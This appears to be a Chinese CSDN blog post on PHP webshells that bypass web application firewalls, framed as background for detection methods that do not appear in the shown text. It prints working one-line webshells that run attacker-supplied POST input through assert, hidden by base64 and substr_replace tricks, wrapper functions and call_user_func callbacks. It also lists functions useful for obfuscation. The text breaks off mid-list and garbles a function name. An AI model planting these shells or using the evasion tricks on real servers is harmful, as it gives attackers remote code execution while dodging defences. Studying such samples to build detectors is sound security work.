PHP常见过waf webshell及最简单检测方法

最新推荐文章于 2022-04-23 00:53:59 发布

程序员爽爽

最新推荐文章于 2022-04-23 00:53:59 发布

阅读量1.5k

点赞数

分类专栏： python 文章标签：程序员互联网 python

本文链接：https://blog.csdn.net/weixin_45084321/article/details/90488134

版权

本文探讨了PHP webshell如何绕过WAF，包括字符串变形、自写函数、回调函数、类利用等多种方法，并介绍了PHP webshell的检测方法，如机器学习、动态检测和静态规则匹配等，提供了实例分析和简单检测思路。

摘要由CSDN通过智能技术生成

为了验证该检测机制，首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自写函数

利用 assert()

<?php 
function test($a){
    $a($_POST['x']);
}
test(assert);
?>

回调函数

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk()  
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_v